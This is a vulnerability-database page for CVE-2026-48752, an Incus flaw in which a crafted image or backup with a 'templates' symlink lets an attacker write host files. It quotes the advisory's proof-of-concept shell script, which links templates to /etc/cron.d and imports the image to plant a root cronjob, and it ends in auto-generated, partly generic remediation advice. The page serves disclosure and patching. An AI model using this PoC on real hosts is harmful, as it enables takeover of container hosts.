Sign in Sign up
JA · EN · FR
SecPulse
Categories
CVE-2026-48752 critical CVSS 9.9

Vulnerability in github.com/lxc/incus/v7/cmd/incusd (CVE-2026-48752)

Summary

Vulnerability in github.com/lxc/incus/v7/cmd/incusd (CVE-2026-48752). Successful exploitation can lead to full system takeover. Exploitable via templates. Mitigation: upgrade to 7.2.0 or later.

Original description

The description as published by the source.

Summary

A specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.

Details

For container images, internal/server/storage/utils.go calls archive.Unpack(imageFile, destPath, ...). The tar extraction path in shared/archive/archive.go excludes device nodes, but it does not reject a top-level templates symlink.

For instance backups, internal/server/storage/drivers/driver_dir_volumes.go:rsync.LocalCopy uses argument -a (archive mode), but does not add --safe-links. This allows a top-level templates symlink.

In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.

PoC

Malicious container image

Below, the templates directory is mapped to /etc/cron.d on the host, but it can be mapped anywhere. After that, create a cronjob to run id as root.

#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
    rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/templates"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
  description: PoC templates symlink host afrw
__EOF__

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar
incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink
incus init afrw-image-templates-symli…

Source: GitHub Security Advisories (Global) NVD GitHub Advisory

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2026-48752 has been found in github.com/lxc/incus/v7/cmd/incusd.
Attackers can target a specific entry point like templates over the network to misuse the product.
Successful exploitation can lead to full system takeover. CVSS score: 9.9/10.
What to do: upgrade github.com/lxc/incus/v7/cmd/incusd to 7.2.0 or later.
If unsure, ask your IT team or search "github.com/lxc/incus/v7/cmd/incusd CVE-2026-48752" on the vendor's site.

CVE-2026-48752 (github.com/lxc/incus/v7/cmd/incusd) — CWE-73 / CVSS v3 9.9
Attack vector: remote (network-reachable) / no user interaction
Attack surface: templates
Patched: 7.2.0 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

A vulnerability (CWE-73) exists in github.com/lxc/incus/v7/cmd/incusd. Attackers reach the vulnerable code path via templates.

📍 Affected scope

Check the vendor advisory for the affected versions of github.com/lxc/incus/v7/cmd/incusd. Attack surface: templates.

🔥 Severity

Severity: Critical (CVSS 9.9/10). Successful exploitation can lead to full system takeover.

🔧 How to fix

Update to 7.2.0.

🛡️ Workaround

Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.

🔍 Detection

Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'github.com/lxc/incus/v7/cmd/incusd' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify 
    grep -r 'github.com/lxc/incus/v7/cmd/incusd' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で github.com/lxc/incus/v7/cmd/incusd を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Apply patch patch 
    Upgrade github.com/lxc/incus/v7/cmd/incusd to 7.2.0

    ステージング環境で 7.2.0 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  3. 3
    Post-deployment verification verify 
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Affected packages

go github.com/lxc/incus/v7/cmd/incusd
[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"7.2.0"}]}]
Go github.com/lxc/incus
[{"type":"SEMVER","events":[{"introduced":"0"}]}]
Go github.com/lxc/incus/v6
[{"type":"SEMVER","events":[{"introduced":"0"}]}]
Go github.com/lxc/incus/v7
[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"7.2.0"}]}]

Fix status by distribution

Fixed packages published by each distribution for this CVE

References

We use cookies for analytics and ad measurement. This setting applies to all Game co., Ltd. sites. Details